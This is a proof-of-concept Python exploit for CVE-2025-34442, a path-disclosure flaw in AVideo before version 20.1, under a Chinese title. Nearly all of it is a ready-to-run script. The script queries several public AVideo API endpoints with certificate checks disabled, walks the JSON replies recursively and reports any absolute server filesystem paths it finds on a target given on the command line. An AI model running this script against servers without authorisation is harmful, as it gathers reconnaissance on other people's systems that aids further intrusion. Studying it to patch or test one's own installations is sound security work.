CVE-2025-34442: AVideo公共API路径泄露漏洞

# CVE-2025-34442 AVideo Path Disclosure PoC # Target: AVideo < 20.1 # Type: Information Disclosure via Public API import requests import json import sys def exploit_cve_2025_34442(target_url): """ Exploit for CVE-2025-34442 - AVideo Path Disclosure This PoC demonstrates how to extract absolute filesystem paths from vulnerable AVideo API endpoints. """ # Endpoints that may leak path information endpoints = [ "/var/AVideo/video.json", "/var/AVideo/getVideos.json", "/var/AVideo/getVideoInfo.json", "/plugin/Live/getLive.json", "/plugin/VideoHash/getVideo.json" ] print(f"[*] Testing target: {target_url}") print(f"[*] CVE-2025-34442 - AVideo Path Disclosure\n") leaked_paths = [] for endpoint in endpoints: try: # Attempt to access API endpoints url = target_url.rstrip('/') + endpoint response = requests.get(url, timeout=10, verify=False) # Check for path leaks in response if response.status_code == 200: data = response.json() # Recursive function to find absolute paths def find_paths(obj, path=""): if isinstance(obj, dict): for key, value in obj.items(): find_paths(value, f"{path}.{key}") elif isinstance(obj, list): for i, item in enumerate(obj): find_paths(item, f"{path}[{i}]") elif isinstance(obj, str): # Check for absolute paths (Unix or Windows) if (obj.startswith('/') and len(obj) > 10) or \ (len(obj) > 3 and obj[1] == ':' and '\\' in obj): leaked_paths.append({ 'endpoint': endpoint, 'path': obj, 'json_path': path }) find_paths(data) except requests.exceptions.RequestException as e: print(f"[!] Error accessing {endpoint}: {e}") # Display results if leaked_paths: print(f"[!] Found {len(leaked_paths)} leaked path(s):\n") for leak in leaked_paths: print(f" Endpoint: {leak['endpoint']}") print(f" Path: {leak['path']}") print(f" JSON Path: {leak['json_path']}") print() else: print("[*] No path leaks detected (target may be patched)") return leaked_paths if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-34442.py <target_url>") print("Example: python cve-2025-34442.py http://avideo-server.local") sys.exit(1) target = sys.argv[1] exploit_cve_2025_34442(target)